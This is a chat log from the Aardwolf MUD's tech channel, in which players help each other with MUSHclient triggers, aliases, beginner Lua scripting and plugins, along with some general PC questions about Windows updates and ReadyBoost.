T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: never heard of it, I use mudlet for my other muds, first time here.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: its really awesome
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: go to aard's website, click on the screenshot
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: finger fiendish - he has the mush download URL 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: basically mushclient with custom built plugins for aard
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: looking it up right now
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: it is here: http://www.aardwolf.com/play/index.htm
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: no tis shere! https://www.dropbox.com/s/7s0yaahe5938q5t/2013-01-12%2021.13.32.jpg
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: iw sinw.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Mokg Tech: interesting
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: back in a moment, will see how this goes.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: wow, yeah definitely a lot done here.  Thank you for the suggestion.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: no problem
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: is there a way to abort an automatic reboot for windows updates in windows 8?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ylar Tech: Stop the Windows Update service
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: cool, that seems to have done it, thanks :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ylar Tech: ^_^
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: is there a way to make this mushclient keep the last command in the input area?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: ys
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: autno comnand conf
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: I'm having trouble finding it.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: repaat.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: https://code.google.com/p/aardwolfclientpackage/wiki/FAQ#How_do_I_make_commands_stay_on_the_input_line_after_I_hit_enter?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: %%
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: ^6
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: Ylar claps at The Reaper Myrkul's performance.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: sory
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: thanks
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: where are triggers/aliases stored if you use teh standard "trigger" in the menus?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: in the world file
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: thank you
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: if i make changed to the world file using a different program, will it update in the client?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i wouldn't try it while the client's running
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: ooo
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Nuanse Tech: you can use copy/paste from for example notepad 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Jhav Tech: No.  It doesn't load the file unless you open the world again, or reopen the client.  And generally it would save over your changes when you close the client.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Jhav Tech: Basically, what Myrkul said: don't edit the world file while the client is open :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: So whats the best wait to edit triggers/scripts if you want to do it with the tags?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: instead of using the ingame trigger window for example
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you could make a plugin
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Harperon Tech: make a plugin?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Jhav Tech: Do it in a plugin.  
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: if you go to game -> configure -> triggers, you can actually paste them right into that window
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: BobTheGreat rapidly nods twice to you, in complete agreement.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}BobTheGreat Tech: Very useful feature
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: as in, you can past the XML, without having to replicate each of the fields, dropdowns, checkboxes, etc
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Oh.  So all those LUA tags can go straight into the configure = triggers?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}BobTheGreat Tech: XML tags
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: oh
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: they're not lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lua doesn't use tags
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: so mush converts the lua to tags when it saves it?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: most triggers, aliases, etc don't really have anything to do with lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: and if fiendish was here, he'd point out that Lua is not an acronym, so i'll do it for him :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Haha, I didn't think it was.  Fail typing on my part.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lua and xml are two different things
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Arnica Tech: I thought it was Like Using Ada
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: triggers CAN USE lua...triggers aren't WRITTEN IN lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lua is the actual scripting language, xml just stores the data in a formatted way easy for code to read
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ok, that makes sense.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: a trigger on "You are hungry" that does "get drink bag ; gulp drink ; put drink bag" has no lua to it at all
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: So if i made a plugin i could edit it on the fly in notepad for example?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: but you can make a trigger call a lua function that you've built.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: a trigger that is "Send to script" and has ThisFunction(foo,bar) uses lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}BobTheGreat Tech: You'd have to keep reinstalling it in mush
T3/r7/2013-01-13.txt.gz:{chan ch=tech}BobTheGreat Tech: But yes you could
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can, you'd need to reload it in the client for the changes to process though
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ahh ok.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: reloading it can be a feature of the editing function, though...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}BobTheGreat Tech: Can be annoying imo, if there is an error it opens up a huge window.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: but there's no reason to edit the plugin itself...the plugin's variables, etc are separate from the plugin and aren't in the plugin file itself
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Yeah ive seen that window a couple times, can be jarring
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: I'm about to dig into this scripting/triggers here.  need to gag what's being sent to the comm's log
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: hmm, so i can pretty much use any Lua including local variables, fucntions, etc inside the game--->configure-->> trigger inwdow
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: gag it?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: there is a check mark in the trigger window for gag :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: Gloindren: right click in the comm log, it has options to do that
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: right-click the comm log...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: nice
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: the comm log is HUGELY customizable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: right-click EVERY INCH of your mushclient...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: Fiendish put in cool configs to everything
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: very nice indeed
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: he definitely put a lot of work into it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: I'm looking forward to digging through the scripts and learning a bit.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: It's really cool Gloindren
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: and yes haldrik: you can use all of mushclient's scripting functions, which includes lua functions, within triggers
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: what's it written in?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Combination C and Lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: its really cool to be able to use a real language 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Mushclient itself in C, the plugins in Lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: mushclient itself is in c++
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: instead of Cmud or Dragonrealms script engine, etc
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: you can look at my stuff too: http://code.google.com/p/bastmush/
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: it drops into the aardwolf mushclient
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Bast's stat tracker is really cool
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: average quest is 54 seconds :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Oh, ++? Only seen Gammon talk procedural. Though quite possibly procedural ++, some people are insane like that :-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: most plugins are in lua, but you can write them in lua, vbscript, jscript, perlscript, python, tcl, phpscript & ruby
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Hahaha... Yes :) Ok just used my first function
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: well, http://mushclient.com/mushclient/mushclient.htm...first line on the main mushclient page: Written in C++ for speed and compact size!
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: simple aliases are a pain already.  send recall
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: haldrik, cmud supports tons of languages just like mushclient, including lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: everyone uses lua for scripting because it is built into mushclient, the other languages are hard to get working in a non-windows os
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: yeah i ment the basic one Myrkul
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: there is no "basic one" :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: that i learnedb ack in CMUd, i dont think it had scripting languages attached
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: it has its proprietary language
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Zmud sorry
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: zugg wrote his own proprietary language, yes, but you're by no means restricted to it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: even zmud supported vbscript and jscript
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: cmud supports any language supported by the windows scripting host
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Maybe does, but its a lot less accessible then mushclient.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: no it isn't :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: however, zscript has pretty much been the standard to be used in z/cmud
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: there's a language dropdown menu in the settings editor
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I used zmud for years and never noticed vbscript and jscript
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: hrm, i don't have zmud installed on this computer, so i can't check
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: but i'm sure it's there :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Partly im sure it has to do with mushclient helpfiles etc.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: how do you get commands to run from an alias?? I put them into the send box and it tells me I can't do it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: It literally says "heres how to do it lin 6 langauges"
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: nod haldrik, that's handy for people who want to use other languages
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: gloindren: just put the command
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: don't put "send recall"...just put "recall"
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: I have, but server says I can't do it.  I have  "recall
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: without the "
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: exactly as I have it typed, but it won't run it.  Yes, without the "
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: just type recall into the huge box
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: what do you have in the top thin box?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: bed
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: so I should be able to type in bed  and it will run me to the academy
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: but it's not working.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: so top thin box is "bed", huge box is "recall"...and when you type just "bed", it doesn't recall?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: correct
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: how many commands are in the big alias box?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: I got it to work now
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: turns out don't put it in one line with 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: actually hit enter to put each command on a separate line in that huge box
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: that's why it's huge
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: if you wanted to use ; to stack commands on one line, then you would use the "send to" drop-down to send to execute
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: alright.  I'll remember that
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: default is "send to world", which means "send whatever is in this box"...and aard doesn't stack commands with ; except in aard aliases
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: send to execute means "pretend that I typed this into the command line, and parse it like that"
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: and send to script is expecting scripting stuff,so you'd need to do Send("this text here") to actually send stuff
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: you'll likely never use any of the other options
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: thanks for all the help.  I'm outta here.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Is there a way to make it so you can access the game window while using the configre -- > alias/trigger  boxes?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: take care
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: See ya Gloin
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Or any menus for that matter
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: no, they're modal windows...you're not meant to be in them for long at any time
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: meh, clearly i want it :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: well, another advantage of MUSHclient is that it's opensource...you could rewrite those routines ;-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: isn't it hard to compile though, abe?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: shouldn't be...you'd need VisualC++
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i seem to remember fiendish saying something about it at one point
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: it includes the project file
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you need some plugin for visual studio or something
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: it was written with MFC (Microsoft Foundation Class) libraries and C++ Standard Template Library...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: so you're not likely to be able to compile it with g++ or XCode, but should be pretty straightforward with MS VC++
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: but of course I don't use MUSHclient and have never tried compiling it, so my info's just from skimming gammon's site ;-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah, that was it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: express (free) versions of visual studio don't come with MFC
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: this says he basically did a fresh install of VS 6.0 and could compile it: http://www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=9613
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, i found the same thread... it's halfway down the second page :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: nod, that'd certainly be limiting to many hobbyists trying to compile it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: the express thing, that is
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: nod... how much does visual studio cost, anyway?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: hmm, looks like about 250 on amazon for academic
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: froogle sez you could get VS2008 Standard for $135.99 :-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Yay for Dreamspark
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: VS 2005 pro for $30 }:>
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Absomax Tech: Anyone know if the extra macro buttons on a Logitech keyboard, will work with MUSH?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: heh, current employer's a microsoft business partner
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: you could get them to work
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Absomax Tech: nice, havent installed it yet.. got another day 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: how would depend on how the keyboard sends the signals
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: wow.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I managed to crash mushclient and I lost all the triggers I was working on
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: ridiculous
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: ctrl+s, ctrl+s F. T. W.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: should save that shit automatically
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Why? Delete all, autosave, more whine
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: because its easier to crash then delete all? plus there is backup files in case you delete all
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: there some type of autosave at least?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Every 12 hours, I believe
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Or program close
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: of course :P have to make an autosave
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: I also don't believe the .mcl file creates backups automatically
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Which is where the triggers and such are stored
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I use 3rd party backups
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: So use 3rd party autosave :-P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: that wont work because mush doesn't save anything
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: If the file doesn't change on my computer, then it doesnt matter
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Anyways apparantly you can just build your own autosave
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Send a ctrl+s, and it autosaves. AHK can do it no worries
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: http://www.mushclient.com/forum/?id=8729
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: there we go
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: autosaves now heh
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: any idea how to send a local/global lua variable to the game?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: world.Send(variable)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Awesome :) ty
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: shift+ctrl+alt+L is your friend :-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Aqiz Tech: love oop
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Aqiz Tech: so simple
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: oh nice! Thanks Vaki!
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Procedural and oop are as simple or complicated as the creator of the base code :-P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: I could have said: world.getWorldFactory("
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Aqiz Tech: some people just dont understand it for some reason though lol
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: So world isn't a function, its just modifying send?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Whoops - I could have said: world.getWorldFactory("this").activateInput("includeVar = yes", variable)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: world is an object, or class, idk the implementation and don't really need to either.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ah ok.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: so is it world.Send("@variable test")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Depends on how you have stored the variable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: world.Send(getVariable("someVar")) is one way
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: One is stored with SetVariable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: one is a local variable in a for loop
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Would world.Send(getVariable("@channel") 500exp until next level.) 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: something like that?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Where is the @ coming from?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: oh, uh, i keep thinking thats the variable symbol, i guess you dont need it with getVari
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: nope. Your concatenation is all screwy as well - try getVariable("channel") .. "some string")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: alright ill get it a shot :) ty
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: very nice, i didn't even know .. existed
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: i assume that works for... everything?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: I would suggest starting here: http://lua-users.org/wiki/LuaTutorial
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: .. is string concatenation in Lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I mean it should work in all commands then? Like Note and such?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: If it's lua, it will work
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: very cool
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: how much does ready boost help my pc speed up
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: omg I love you :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: h -10
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: -10
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: try -h
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Vakieh :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Zetkax Tech: yes you said the love word, you cant take it back
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: haha i got it on 3rd try :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I also figured out that I can use a variable in place of a " " on any argument
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: You can use a variable in place of anything, anywhere - that's why they're called variables :-P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: well maybe not ANY :) but seems to be working
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Haha... but I'm used to them having some sort of identifier
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: so just throwing down the "variable" is strange to me
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: world.Send(chan_use .. "GQ is on!")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: just so cool :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trachx Tech: for gq is on simple trigger seems more efective - it can play sound
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Nuanse Tech: cool yeah, but why invent wheel again? basts scripts would have done all that and more :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Well, just playing around for 1 and I didn't know bast had those scripts
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I have his stat mon but not that one apparantly
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Nuanse Tech: he even has broadcasters that pick up all stuff from game and you can use them in your own scripts :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Yeah...My brain already hurts :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: on the bright side when i crashed my mushclient running a for loop, I lost 6 hours of work
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: and then i found an autosave :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: learned how to plug all that stuff in
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: and then had to refigure out everything i did
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: which helped me learn even more
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: how much does ready boost help my pc?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Depends. You capping your RAM? Got shitty drives you read a lot from?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: 1 gig ram
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: In that case I'm guessing a lot, because the only OS's which support Ready Boost require more than 1 gig to be more than a nice picture of a blank desktop.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: You should probably upgrade that
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Right now both iTunes and Mushclient each take up more RAM on my machine than your machine has :-P Rage at memory leaks aside, I find that quite funny
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i have a 8 gig mem stick
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: miniwin_spellup taking 233meg, miniwin_stats taking up 136meg
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: USB mem stick you mean, or RAM stick?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: usb
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: usb
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: oops
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Not USB 3.0 by any chance?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: 2.0
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: What am I saying - ignore that last. Forget ReadyBoost, go out and buy a 4gb stick of RAM
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: 2.0
